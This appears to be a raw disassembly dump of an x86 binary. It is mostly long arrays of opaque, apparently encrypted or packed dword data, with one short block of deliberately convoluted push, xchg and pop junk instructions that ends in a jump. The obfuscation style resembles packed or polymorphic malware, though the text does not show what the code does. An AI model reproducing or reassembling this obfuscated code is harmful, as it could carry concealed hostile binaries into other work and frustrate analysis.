		dd 451AC156h, 123A53C1h, 0FB72FBAAh, 0D5596107h, 0B0B13256h
		dd 3A66D8D7h, 203C345Fh, 5BB8766Ah, 0AEB156EEh,	5763DA56h
		dd 0A03A3256h, 0C15AF36Dh, 0D1B57955h, 76A64097h, 7B8A221Dh
		dd 5F5A3024h, 0BC5A26BDh, 0FFAFA8DBh, 784E345Fh, 4F3C3ABDh
		dd 0ECB89912h, 2CEAE1A9h, 31E4F10Eh, 5DB1DABAh,	2FEB3256h
		dd 5EE114BCh, 113C5250h, 0D3B8766Ah, 63B977DDh,	79F4B951h
		dd 31B575DFh, 1A382213h, 0BAF4B95Ah, 36A175DFh,	0ABA1F09Fh
		dd 0EC34F436h, 0ADB73179h, 62C2283Eh, 7304CDFEh, 0D0B7317Eh
		dd 0A8C28ED3h, 561CD50h, 0EFD9B8DBh, 2AE0345Fh,	683C6886h
		dd 73B8763Eh, 0B6F18559h, 52E3EADDh, 6DB26867h,	4878B0DFh
		dd 0C3D03455h, 0E85251h, 5A000000h, 5097EA81h, 8B520609h
		dd 31FC982h, 4E6DB906h,	0E1F741C6h, 3039055Ah, 0FF250000h
		dd 897FFFFFh, 31FC982h,	0C3595A06h, 0E85251h, 5A000000h
		dd 50C7EA81h, 0C88B0609h, 0FFFFBBE8h, 0F7D233FFh, 5AC28BF1h
		dd 0C08BC359h, 858DC08Bh, 60946D8h, 8B66D0FFh, 90858DC1h
		dd 89060950h, 3316D85h,	0C0858D06h, 89060950h, 3291185h
		dd 0B806h, 0C00B0000h, 47840Fh,	85C60000h, 6032F39h, 30DF6856h
		dd 0B5FFA9C5h
		dd 60328C9h, 73BC858Dh,	0D0FF0606h, 498D8D50h, 5106031Fh
		dd 68046Ah, 0FF000010h,	30121B5h, 8BD0FF06h, 30121BDh
		dd 3C7F0306h, 0F8C781h,	47C70000h, 2024h, 8D9D8D60h, 8B06031Fh
		dd 0FC00B03h, 584h, 89008B00h, 0F6B90443h, 0E800234Ch
		dd 0Fh,	0C7044A6Eh, 69CF5DCBh, 0E161A257h, 0FF44F30h, 28Ch
		dd 5BE28A00h, 2890F57h,	60000000h, 0C3815961h, 74B8h, 66D78A60h
		dd 6136A1B9h, 1CF668h, 5EEC8A00h, 204FF081h, 3B8B54A8h
		dd 3727A5BAh, 0E2EF8150h, 0F7A7589h, 289h, 8198B000h, 435EC1C7h
		dd 0D68B6632h, 0A27EEF81h, 0E8564132h, 6, 0FBD2D293h, 0BE9E00Dh
		dd 43000000h, 6892DE0Eh, 1C77B88Ch, 5A587EE4h, 0AE83B89h
		dd 0DE000000h, 3D8926BFh, 267F0D88h, 0C18166C9h, 815A9F42h
		dd 0C613B7EBh, 12830F4Bh, 0F000000h, 0C83h, 7E900h, 0E8880000h
		dd 0D531D0B5h, 0B3C3812Bh, 0B64BC613h, 1EE8171h, 0F000000h
		dd 0FFFF7585h, 15850FFFh, 0E9000000h, 10h, 33CD7AD2h, 0A2F1ADF4h
		dd 0FB3832ABh, 0F1F41753h, 53158D8Dh, 6A0609h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 66BF1EC3h, 850F0E10h, 1, 0D18D89F5h,	6A060331h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0ABE0C352h, 3FBFE7F8h, 0E90AC26Fh, 0Ah, 2C977456h, 13F33D42h
		dd 85C72A56h, 60301E1h,	6938h, 209D858Bh, 85C70603h, 60321BDh
		dd 0
		dd 43EA8166h, 0CDB5FF20h, 0F060310h, 95FFD6BFh,	6032691h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 8C35242h
		dd 6AC571h, 1FB995FFh, 0C08B0603h, 5D330EEBh, 0BC365167h
		dd 0B02807B8h, 5C40023Eh, 5E8h,	0ABE1AA00h, 858BE5ABh
		dd 6032219h, 3800F5Fh, 0F000000h, 0C781C1BFh, 64C7h, 6882F080h
		dd 0
		dd 707BB966h, 0B5B5895Eh, 0FF06032Dh, 5BF83E34h, 1AD3EB81h
		dd 0EB810856h, 47AAD90Bh, 122D8529h, 0EB810603h, 6EB57903h
		dd 8DD8D03h, 0F530603h,	48FCAB7h, 0E9815637h, 71BB2F5Fh
		dd 28E0F59h, 8B000000h,	4EE83D3h, 22858531h, 0FE810603h
		dd 0FFFF9BC8h, 0FFB1850Fh, 8B60FFFFh, 324118Dh,	9D896006h
		dd 6031E51h, 23AD858Bh,	61610603h, 546B08EBh, 4074h, 87E90000h
		dd 6800000Bh, 6095550h,	0FAEE83E9h, 569C68FFh, 79E90609h
		dd 68FFFAEEh, 6095876h,	0FAEE6FE9h, 599968FFh, 65E90609h
		dd 68FFFAEEh, 6095B26h,	0FAEE5BE9h, 5D0E68FFh, 51E90609h
		dd 68FFFAEEh, 6095DFEh,	0FAEE47E9h, 57F710FFh, 0E783A7C5h
		dd 75113775h, 7A7C1E7h,	96305715h, 0F368B084h, 822032D4h
		dd 1E5CCE64h, 0ABC95BF7h, 247EEC8Eh, 0D4F0E6F9h, 7E0EA1A8h
		dd 3AE00505h, 3CDEFBBBh, 0C19DF92Eh, 918A0D64h,	36EEADA4h
		dd 0CD9DF413h, 0BA1A290h, 0E487FE8Bh, 0A1A290EEh, 0FDF3DD2h
		dd 0AE98935Bh, 4CC4h, 1074DF00h, 0DDF81732h, 0A18094C2h
		dd 0C7B262A7h, 0A491214Ch, 146F8AADh, 0A1A29142h, 244604BCh
		dd 0B0450786h, 26564DCh, 0A1A29148h, 0C1C06280h, 0C3C2688Dh
		dd 0CA77D56Ah, 3DC527FCh, 0C6C76781h, 9A4CF386h, 3AE988Eh
		dd 0DEh, 3AE00598h, 3ADCFBBBh, 0F9E1C01Fh, 7A7A180h, 0CB8BEA9Fh
		dd 0C98D0CAEh, 7D1C0EACh, 0A7A18527h, 52C06A8Fh, 0F8BFD87Bh
		dd 0FB867675h, 0E991B40Eh, 0B1D1CDE8h, 25D09011h, 9BBE9CF8h
		dd 6BAFF1Bh, 4A04FA62h,	0ED28DD9Dh, 0A4DA5792h,	63F1A1ADh
		dd 841F583Ch, 0A1A2D9D2h, 0FED1742Ch, 0A1A2D9E8h, 4BEEAE16h
		dd 0A468F168h, 8EAB6BABh, 0EFF989F7h, 0CBAAF156h, 0ABA88A9Fh
		dd 0CF9B979h, 10B6DDD1h, 0AF476C02h, 0C4E6D93Fh, 0B0AB2628h
		dd 959h, 9E8C3255h, 0E1CBED8h, 0B8AA4C68h, 2E3CE2FAh, 59CB6B88h
		dd 0F342D4Dh, 9FC7E577h, 32531103h, 0C9EC8290h,	0B4613321h
		dd 0A8D58DDDh, 48234BA1h, 1F3ADE05h, 0FFBF5F79h, 7E981A3Fh
		dd 0EE9BDDDCh, 0C2436604h, 0A180F7E3h, 0D19101A7h, 10741443h
		dd 31593857h, 0CFA7A180h, 8020B657h, 66DEA7A1h,	0EAFC7247h
		dd 0F4B4DB3Bh, 9E345D51h, 6DA85D1Fh, 0E583B56h,	0E6A7A158h
		dd 0E6A627C3h, 0ADC88A0Ah, 39CC8C0Dh, 0A4490BA6h, 6C6DD5ADh
		dd 0A269410Dh, 46A67DA1h, 97B6F2A4h, 10E6BAEh, 62700000h
		dd 0B378AC47h, 7EDE458Ch, 0A1BECB9Fh, 5BFF1BA7h, 2F761A5Ah
		dd 8CEFA119h, 4431F122h, 52DCBEEh, 0D921A908h, 67DFA7A1h
		dd 27BFE5A7h, 0FF246667h, 19076667h, 55A7A1DCh,	0DA988A30h
		dd 0A99A1BBFh, 4D1D74EDh, 8BA7A1DEh, 97EE4B0Bh,	0ADA4C650h
		dd 0E3F7CEE5h, 1DA1A2F5h, 0C7077D44h, 965635B1h, 0A7B56DE3h
		dd 45D71470h, 97991B9Dh, 680B2EEEh, 53F9EEA3h, 0C61DE8B9h
		dd 0A48C67EFh, 341181ABh, 98BD597Eh, 0CF74627Dh, 1282ABA8h
		dd 46B09EB3h, 4A3FE09Ah, 5CDDFAB8h, 0A8041545h,	7333E3ABh
		dd 0C560AF63h, 9A857C28h, 80Dh,	42D07E99h, 0F2600A2Ch
		dd 6CFE98BCh, 92802E4Eh, 0D1FB7DCh, 5B78E139h, 0EB0BA9BBh
		dd 7EA7C557h, 153076E4h, 40DDE775h, 0A8D67961h,	0FCF787A1h
		dd 1D38DE05h, 80FBEFC6h, 9D05A7A1h, 9A1BB7DFh, 0C6C72FDAh
		dd 809EC8ABh, 0BA78A7A1h, 0BAFAFB9Fh, 92B70FFAh, 25B24DE8h
		dd 6FDCB3Ah, 403FC7B2h,	2AC9C362h, 0F59CC08Fh, 287A200h
		dd 9A6B022h, 0AF2EEE6Eh, 3220CAEFh, 0E9C8890Dh,	0A7A105E1h
		dd 42E7A71Fh, 0A4230463h, 0E1E050ADh, 47E288ADh, 0F5802A4Fh
		dd 54762C69h, 4663C3B6h, 2B4225A4h, 0A28E408h, 0F496B3F3h
		dd 8DC6B3F5h, 47E500AFh, 9CB97925h, 4E786E41h, 1E862AE8h
		dd 0C0E59B6Bh, 0C77D91FBh, 15F0E77Ch, 0D83F9E96h, 0AC2DED2Ah
		dd 0E82982CDh, 0E17B582Ah, 37A30259h, 0C12AE829h, 0EB0EA451h
		dd 0C64BEA4Fh, 2FBB1A9Fh, 292AE874h, 1DD54869h,	556BFB8Eh
		dd 680B8A30h, 2AE88665h, 79587782h, 2AE88611h, 517537EFh
		dd 0A587DCA9h, 72F0C29Dh, 0ECCF7768h, 0DA80A519h, 6B0F2A48h
		dd 210737CEh, 631EFEE1h, 0AAEEDF96h, 4F0FABCEh,	8034CFEAh
		dd 0E8264B6h, 90B72EDBh, 0AC20EDD7h, 553166F4h,	1AC5DC79h
		dd 0FE3EE8C8h, 83A3E346h, 7C5B1AEFh, 5E872146h,	0C38504C4h
		dd 0F5145F36h, 752A3EEEh, 2EA35797h, 0D91C1B4Ch, 0A7000003h
		dd 1F7BA50Bh, 0C8FE643h, 68ADA4B0h, 2AE88EAAh, 3769680Eh
		dd 3DE9E877h, 42EB37Ch,	2C87A280h, 2AB6A8FDh, 0D87EA51Fh
		dd 0F0949918h, 9454F610h, 0DED0DEB1h, 0DC7720B2h, 0B64B1DE1h
		dd 369A6F49h, 718CAB8Eh, 0BA82481Eh, 7B0EB634h,	6999EBBh
		dd 34BA8250h, 2436F6AEh, 9EC56386h, 84A838F8h, 93AFD6DEh
		dd 633C7DEh, 58730000h,	0E406A4B6h, 7296D446h, 82046D4h
		dd 91B6F466h, 71767F5h,	83913552h, 3F2DC5EDh, 0A8BA5879h
		dd 0D94BEF0Ah, 53079E87h, 0ADA1A8D8h, 2062A61Dh, 80A66406h
		dd 0AAEE17E2h, 735269CCh, 0A7A18067h, 42632191h, 9A6F21A0h
		dd 0A601647Fh, 0E353ADA4h, 1E482B46h, 0F8A1A2A6h, 70324D38h
		dd 7634B555h, 7333B250h, 7634B559h, 7434B551h, 0BD62FA9Fh
		dd 75AB81D6h, 0B1103511h, 0ABA7805Ah, 8E2C3EE6h, 0EBCECF6Bh
		dd 0CCE5F5CCh, 4213ABA7h, 1F3B1E35h, 9D6828A3h,	67660421h
		dd 6564FE27h, 65640221h, 0A5456123h, 12EA8F24h,	0E0E18DAFh
		dd 1B32E0A0h, 91F5E5FCh, 9103ABA7h, 6613D373h, 4560CF2Dh
		dd 1C96B7A5h, 75A85DF5h, 0A8958EC1h, 0B553772Fh, 7735F58Dh
		dd 10C0B551h, 290h, 321074ABh, 0D468BC17h, 2AEAADAAh, 0D773970Fh
		dd 24E396D6h, 278E7609h, 4342E001h, 413AA001h, 0B7DC5623h
		dd 486F0D1Fh, 8A082FAEh, 8BCDCC72h, 5B6E67FEh, 81A4A1A8h
		dd 0B82DC9D9h, 7FA22C5h, 5101Ch, 0D37B9C00h, 63072341h
		dd 0F195B3F1h, 832B4D63h, 12B4D391h, 7FE43400h,	0EACBE58h
		dd 9AD84AE8h, 3775E77Bh, 0D8FA6812h, 0D974627Dh, 0FA82A1A8h
		dd 24C36281h, 4CE328DEh, 9A1BBFDAh, 0A66F1ADAh,	0A2104E2h
		dd 3FCA6C88h, 0AAD370A4h, 931282ADh, 0F016B6D3h, 0E2809252h
		dd 8C0623C7h, 0BC37C26Ch, 67FF2599h, 0DBF7E3C2h, 9101A1A8h
		dd 8D2B4EE4h, 8E0FCF67h, 0D51DFFDCh, 9B1AB8D9h,	0ADDEF8D9h
		dd 42690D96h, 30DAFFB7h, 6C47F322h, 0B9B0AE92h,	95000001h
		dd 0AE5BFB19h, 3AE0052Dh, 3CDEFBBBh, 0BF80A519h, 0A180B224h
		dd 14D44CA7h, 0EAAE9D61h, 80401669h, 6BEA7A1h, 180E346h
		dd 22ADA491h, 1191D783h, 2CD99290h, 0E6F9F8B8h,	0A1A279ECh
		dd 0AD1AB5D0h, 3B7FE35Dh, 94702DD8h, 97CBA04Ah,	5119AEh
		dd 74A20000h, 0BC173210h, 0ADA49111h, 7D1D387Ah, 0E6F90488h
		dd 0A1A292F0h, 0D7D6960Eh, 0A2923EB4h, 33CFF6A1h, 34D6F0B2h
		dd 8C682BB5h, 62FA992Fh, 7FC0DAD8h, 0A2927264h,	54148CA1h
		dd 0B3661355h, 0AE988E07h, 4B74CA65h, 1B1572CCh, 0A2A66Eh
		dd 53D0000h, 441F3AE0h,	96C5427Fh, 374E3BA4h, 93B65077h
		dd 0A84D1D74h, 0B8BA7A1h, 0F88D2D49h, 0FAA0C5F9h, 0FC9EBBFBh
		dd 0AD356B6Eh, 5C79A7A1h, 97F89BBEh, 32C4CD7Dh,	357A887Dh
		dd 0F1D07551h, 0ADA7CFF3h, 280A51Dh, 9DD341E5h,	30C0D076h
		dd 0FF22C26Ch, 3831B02h, 8230000h, 94B6F466h, 224664F6h
		dd 0B8D09684h, 41660416h, 57A7B7A5h, 0D341E502h, 4FDD759Dh
		dd 0F86A0829h, 69FB9FBAh, 0E3F7CE57h
		dd 1DA1A8DBh, 0C362764Dh, 0E6281E24h, 882ADF07h, 0DAFC96Bh
		dd 24243EBh, 0D2908242h, 5A0113B7h, 0BB3AE005h,	1E3EDEFBh
		dd 7DA2B070h, 79183D19h, 7B3D2B47h, 5EF580DEh, 0A4BFA047h
		dd 0CEA17CADh, 0A1A2BF98h, 0F199BC66h, 11707131h, 0A1A2BF57h
		dd 0DADB779Fh, 0AF78B97Bh, 0E4A631B1h, 9819C1h,	4614B993h
		dd 0DA9CFC7h, 9A014928h, 47FFA1A2h, 0E53B11B2h,	99C1A0A1h
		dd 49A1A29Ah, 4A0A8B2Bh, 1B3EFEA6h, 0F8A6C6FCh,	5332C7F9h
		dd 0ABA788B4h, 1542D040h, 1F3AE005h, 10E581A7h,	52F81D51h
		dd 0F09ABFF7h, 0F39BBDF1h, 7F2B2F2h, 0EECCC8FFh, 0F2B8A84Bh
		dd 964ADD4Ch, 0CA4D24E3h, 2EADA4B8h, 0E389CD97h, 7A3A82D5h
		dd 0F952187Bh, 829AA1A2h, 7999DDDCh, 58F2A438h,	54148B3Fh
		dd 0EC48CB55h, 855C794Fh, 0CFF5A5D2h, 0D7F6B637h, 83A5A5DEh
		dd 356E1BDBh, 6D6317D7h, 3BDCAE98h, 0B9000000h,	0BE570362h
		dd 0F1A1A1A2h, 10749704h, 11BC1732h, 33ADA491h,	6B630283h
		dd 57A1A292h, 0D8825CB8h, 54AE988Dh, 1F9E3C5Eh,	0CD78A85Dh
		dd 5D000000h, 9E3BAF06h, 5DC5A1A2h, 206233A8h, 13936608h
		dd 765554F6h, 806E785Bh, 28E8A7A1h, 24C2E15Dh, 0A2856E01h
		dd 0B11E7A0Bh, 0B6F6F797h, 456003F6h, 0F98C2A49h, 7B7A2045h
		dd 0EE7C1E3Bh, 0A1D8B5EBh, 3EDCF9A7h, 0CF6B8E2Ch, 5C99FDCEh
		dd 5126F0EEh, 0D37636D1h, 0A49F69F0h, 0CAE8AAADh, 2F7A928h
		dd 1704168Eh, 0D3B29773h, 0ABA46F93h, 1A98BD65h, 0B5CB59FDh
		dd 4A51098Eh, 0CDCC6E88h, 0B9A52A8Bh, 40CADA9Ah, 0CF28C567h
		dd 19B0B12h, 0F00B0000h, 7C9EDC4Eh, 0A2E4CDEh, 0A0B8FE6Ch
		dd 294E6CFEh, 6F8F9F8Dh, 3B29CDEAh, 57C55D85h, 0C052F011h
		dd 71E387A2h, 0CB9FF62Fh, 35A1A8DDh, 0DE050E65h, 71942A38h
		dd 40425BC9h, 0F58022h,	15301074h, 74347475h, 91D3FED1h
		dd 1934ADA4h, 0A291D086h, 0D3762EA1h, 0A291E6F0h, 0D5A010A1h
		dd 0CCE8AA77h, 8E9AB2Ah, 0A1A2915Eh, 1D38F8B8h,	10E585A1h
		dd 91B43E51h, 0CB88A1A2h, 8F05B171h, 0A47EAE98h, 5000000h
		dd 65052062h, 0DD512464h, 0D39312B8h, 0B49312B4h, 0EC28B41Dh
		dd 4B6DBEF6h, 0BF16E3A3h, 0A7A19061h, 1002A8CDh, 12933752h
		dd 0AC896521h, 0A4BE0AD5h, 2D54CEADh, 94541495h, 19F59186h
		dd 1382A53Ch, 0EE56ABA4h, 8A2C4B4Bh, 0F66BD98h,	0ABA96B5Bh
		dd 6BC595ECh, 8333ABA9h, 0E04237EFh, 91B323C3h,	9E28C4C8h
		dd 0ABF8E3h, 0E0FB0000h, 6C8E2C3Eh, 0FA1E5CCEh,	90A8CE5Ch
		dd 193E7CEEh, 7F9FEF7Dh, 0B19BDDAh, 0A7B54D75h,	0D042E001h
		dd 41D37792h, 0DB8FE63Fh, 25A1A8DDh, 0DE051E95h, 71942A38h
		dd 51C5BC9h, 0FBBB3AE0h, 7F1B3EDEh, 1A7EADBFh, 0EE46193Ch
		dd 0C363815Bh, 0A32382C2h, 22F98CA9h, 0AA8E4943h, 0F2F3A3ADh
		dd 67F595B0h, 7862441h,	3CAA0520h, 0DAA1A82Eh, 0DA34AF5Ah
		dd 0A3E81722h, 76933E1Eh, 52046D4h, 6266465h, 255958h
		dd 0FE1B5B5Ah, 0DA789E5Ch, 7AD241DBh, 0A71F3ED5h, 7D16E37Fh
		dd 7515309Fh, 6A4C1E7h,	39C87h,	61E70000h, 3CE2051Ah, 3EDCF9BDh
		dd 3CD6FFBFh, 39D9F9BDh, 2 dup(39DDFAB8h), 3CE2FAB8h, 3BDBF9BDh
		dd 3CDEF8BAh, 2C68FABDh, 8900005Dh, 77682414h, 89000072h
		dd 2168241Ch, 89000078h, 6855240Ch, 5A655952h, 0C8BB535Dh
		dd 8156197Fh, 991DB1CBh, 8BC38116h, 0C17EC664h,	0F38107EBh
		dd 7D2EC604h, 0C15BDD31h, 0D5F702E5h, 2996F581h, 0EB896272h
		dd 0C8B545Dh, 4C48324h,	8B85052h, 89000000h, 0CA0158C2h
		dd 8B5A1A89h, 8956240Ch, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 2434FF5Ch, 4C4815Bh,	0E9000000h, 0FFFAE308h,	0CEB81594h
		dd 306095Eh, 11E0FFC5h,	5B247EF1h, 180EB097h, 1E27CA72h
		dd 0F689D9Fh, 0DA2AA3DCh, 836D04DCh, 3A4EC804h,	0DD290BD8h
		dd 0B972527Ah, 947B4309h, 415F950h, 0D95C6F71h,	5220A01Ch
		dd 24F8B76h, 8C1667EDh,	0DA25F373h, 0A244A287h,	0C67CDB25h
		dd 0B04B8319h, 0EC5AB17Bh, 3F0072A5h, 0E85B6C42h, 5, 8BFE04Dh
		dd 0D7B70F6Ch, 830F535Eh, 2, 815A6160h,	62FBC6h, 10E96000h
		dd 5D000000h, 48B13A9Fh, 7DE47179h, 0BB87C32Eh,	0B2868A5Bh
		dd 0C0336196h, 0B840Fh,	800F0000h, 5, 26C38166h, 63C8B85h
		dd 81F1E580h, 0B7ED30EFh, 0BB665353h, 81595BE3h, 858940F7h
		dd 0D381660Dh, 0EF81AE67h, 51F5C33Ah, 665764B6h, 8F6FF181h
		dd 0BB06048Fh, 4D2F5787h, 0D5DB8166h, 1E88348h,	0C502D381h
		dd 4848428Dh, 168C0F48h, 0E9000000h, 11h, 0A607B0Dh, 37651E4Eh
		dd 0FB46AC5Ah, 0F072E251h, 0B4F88183h, 0FFFFF9Dh, 0FFFF9485h
		dd 0EB15B6FFh, 8, 93E3EA00h, 4AAE94Eh, 8B680000h, 0E9060961h
		dd 0FFFA1CDDh, 961EB68h, 1CD3E906h, 4E68FFFAh, 0E9060963h
		dd 0FFFA1CC9h, 8EC2E3B6h, 33515A3Bh, 0AD23C8AEh, 0DDB334D8h
		dd 4E02A748h, 8C6D39E4h, 0FC9C6167h, 720095FBh,	0DFB61B49h
		dd 0AFEB8ADEh, 591029Bh, 2DCE7E71h, 2CBC452Ah, 5B09AE41h
		dd 2743612Ch, 12085503h, 7414C375h, 0BC82FACh, 1347FD71h
		dd 6A29FF05h, 2F9F893h,	0EE7B0000h, 0EB8C611Ah,	0B2DD6AC6h
		dd 0F8AE7A34h, 0B6751208h, 10CA8423h, 0BC19F38h, 0F24E1D71h
		dd 68A344DAh, 9AF2A5A4h, 7839F78Ah, 0EE992682h,	5BFCB6F0h
		dd 95D2D74h, 0E6C6A279h, 79ABDB90h, 0B65E2FE9h,	1A325731h
		dd 79A9BF81h, 0B58C68FFh, 7601A626h, 6136F380h,	1D9BCD58h
		dd 0A9BF940Dh, 967DE879h, 0A3DB6F0Bh, 1D77ACE7h, 0BA5D304Eh
		dd 53365335h, 3BD3BBCh,	4C6A8B62h, 7AB3FB8Bh, 0B05E6B35h
		dd 0CD86DB69h, 74189491h, 0D6E90EE1h, 1DB9754Dh, 0ED61FC8Ch
		dd 0A1000002h, 2ABF2DD2h, 592CA049h, 0CB5E32B7h, 7BCE8223h
		dd 0F57F6D96h, 767B1C4Ah, 0CAEB8F12h, 58613386h, 29CEA134h
		dd 8C9C1ABBh, 71059013h, 0F024C769h, 0FF4B6785h, 7507D071h
		dd 0EF7E38AFh, 1EE3E10Ah, 0E87A379h, 72710591h,	0A87018E7h
		dd 0A5CCF9B8h, 1352533Ah, 1F296710h, 8DD00DDDh,	0C1000002h
		dd 4ADF8D32h, 0F94C00A9h, 6BFE9217h, 9B6E6283h,	159FCDF6h
		dd 0D6DBBCEAh, 0AA4B2FB2h, 38C15326h, 892EC154h, 2CFCBADBh
		dd 71058FB3h, 0F0846709h, 0FF4B6785h, 7507D071h, 505525C8h
		dd 7E6EFDD4h, 59039D6h,	549F771h, 63EE0913h, 1ADC693h
		dd 0D1B40000h, 0B92CBC41h, 432A40C3h, 0B0472AA2h, 632E590Fh
		dd 0B6582D45h, 51F9B70Dh, 7512007Bh, 0B84A45Eh,	71710BE1h
		dd 0A0370EEAh, 6D966706h, 0B22FF797h, 7E710BE0h, 829A9EC2h
		dd 21936A3Eh, 0D84AC367h, 23B6710Bh, 4B5745h, 0F0E00000h
		dd 0FB94B485h, 41770EF0h, 65678C62h, 700E9560h,	0F0F992B6h
		dd 9047770Eh, 3CCE5A14h, 0B27511FFh, 79D18B27h,	710BDFE0h
		dd 5B33895Ch, 0BE016B3h, 0FA2E1271h, 6A40E6FEh,	0CAE193h
		dd 1DD70000h, 0BD3940Dh, 877DE871h, 0A2432A0Ch,	9B2472Ah
		dd 9A1BF25Fh, 0BE8A44F2h, 770EF025h, 5C61349Bh,	7F167BF1h
		dd 0F2AC6A7Eh, 0EF0BD56h, 0D8540377h, 0EF501F0h, 0A1751877h
		dd 78194C1Ch, 8D24C043h, 3D502C77h, 0C6959F5Ah,	37C45DEDh
		dd 0AD38770Eh, 0B19EFA0Ch, 3EF8A62Ah, 0E6371EAh, 9C18CF77h
		dd 2C4A6813h, 0BFF0D1Ch, 1A540375h, 4F1DA64Bh, 861415FAh
		dd 2ADF967Dh, 0AFE0DAD8h, 12A02DFh, 95640000h, 0CE97C10h
		dd 7A1CE1E7h, 0E68E1371h, 593E83C1h, 87B63C50h,	0D7B53ED3h
		dd 5B09AE42h, 0C99F24F6h, 786C9164h, 50C96159h,	0AC71058Dh
		dd 452A5F1Ch, 0E04802BCh, 770EF067h, 9617FED5h,	74D9AD0Bh
		dd 0B481CA1h, 2AA2432Ah, 590FB047h, 2D45632Eh, 0F9FE9273h
		dd 0AB9A2B03h, 43167511h, 0FB44627h, 0C37CC25Dh, 73506875h
		dd 944E08E4h, 1D9B20F1h, 4E02A748h, 0B2521BEh, 8315F871h
		dd 0FD7B6E7Eh, 0C6E005E8h, 25A33C0Ch, 0C555710Bh, 0FE7AE120h
		dd 497207EAh, 8EC21Fh, 1710000h, 8A668B6Ch, 6D9E523Dh
		dd 0DA73D784h, 26770E79h, 3292EEB3h, 18304ED5h,	7507A38Eh
		dd 753138Ch, 0DBA970B2h, 0DEB11C4Ch, 4F268BD9h,	9A7D10AEh
		dd 9A167315h, 0D12E2AF2h, 4CE0386Fh, 0EAF4618h,	9F20F75Ah
		dd 0BC6D02E3h, 0F04CDBDCh, 5C613598h, 9B24322h,	8B357A68h
		dd 0AE0A1D61h, 4B9F95DEh, 1F5B5C33h, 0A400A94Eh, 7C8556C0h
		dd 0B039DF26h, 79EC8DD8h, 91F47028h, 72EFF9FEh,	0Ch, 82579344h
		dd 188AEBEh, 800328ABh,	26A6472Ah, 5933B45Bh, 0CB9D26F4h
		dd 7B6D9266h, 90F80196h, 5476C0Dh, 0B9D3D4B8h, 2FB942D4h
		dd 4008B142h, 5854500Bh, 405h, 4E88300h, 5C240487h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6B8C5762h
		mov	edi, 9A7D093Ah
		add	edi, esi
		pop	esi
		push	24F0h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		mov	ebx, 8
		add	ebx, edx
		mov	[ebx], edi
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5439D9
; ---------------------------------------------------------------------------
		dd 424068A6h, 9649DB8h,	0FFC50306h, 677CD4E0h, 60E3B40h
		dd 4FABA150h, 0A09DE147h, 3DCCF079h, 0F7919836h, 0A9CECF3Fh
		dd 0C83C7A5Eh, 38BFD85Bh, 7630F141h, 48BE73Ch, 0CAC2270h
		dd 0A51D4210h, 0D09C2355h, 638D8D50h, 6A060966h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0DC9BC352h, 46AF8FE2h, 0D18D8934h, 6A060331h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8BB3C356h, 31965B5h,	0E185C706h, 40060301h, 6A000069h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 891BC357h, 31FB5BDh, 0BD85C706h, 60321h
		dd 60000000h, 8166CE8Bh, 614F53D0h, 21ADB5FFh, 6A0603h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0C881E1C3h, 7D919EDEh, 6820Fh, 0B58B0000h, 603262Dh
		dd 2AF9BD89h, 95FF0603h, 6032691h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 61C35141h, 0BD8B3C99h, 6030621h
		dd 95FF006Ah, 6031FB9h,	6BEBC08Bh, 0EF7D573Ah, 1B1CDCDDh
		dd 0A522B05Ch, 4D4106Ch, 0B7A1F999h, 20E5D647h,	0AF54332Dh
		dd 9911BB35h, 74129B8Ch, 6F84B8F3h, 0CC5B254Dh,	0B2641AC4h
		dd 47791659h, 2B81178h,	0B89B42EAh, 0C96B469Ch,	1F776120h
		dd 0C0FA0E47h, 9C74C576h, 9A678062h, 0CC4D7454h, 0F858E496h
		dd 5B06058Ah, 8AD98C17h, 0FBE3C72Ch, 0F9C3081Ch, 8D2A5B1Bh
		dd 9677D8Dh, 0DBBE6606h, 0EE9E2h, 0D6DD0000h, 183391D3h
		dd 5F6FE686h, 706EF0E7h, 31D18D89h, 85C70603h, 60301E1h
		dd 7078h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	35C35242h, 8EBE6687h, 0BD85C7C7h, 60321h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 8F41C352h, 27D83014h, 0FFE5B65Dh,	321ADB5h
		dd 7DBE6606h, 0CE9C6h, 0DC370000h, 0EC218E7Eh, 952C20DEh
		dd 95FF951Fh, 6032691h,	1CE1B58Bh, 6A0603h, 1FB995FFh
		dd 0C08B0603h, 259A6BEBh, 0DE33AF62h, 770B773Dh, 0DF31FA99h
		dd 3969E907h, 2F0BCF0Fh, 19834F15h, 4CB2490Ch, 8C6F9DC3h
		dd 3FC3691h, 0A4658D07h, 7C76390Eh, 4A6CB790h, 302E584Ah
		dd 342DD352h, 6AD730Dh,	11FD0733h, 0A93F90Bh, 1191C19Fh
		dd 3B00397h, 626023DBh,	0C065E11Ch, 2BD81EBh, 0D5602C7Dh
		dd 0B0BA8614h, 87506430h, 40F87EBEh, 758D8DB2h,	6A060968h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0BFFAC355h, 6CDCB6AAh, 31D18D89h,	6A0603h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 85C7D9C3h, 60301E1h,	65E0h, 6B36D5B8h, 89BD893Bh, 0C706030Fh
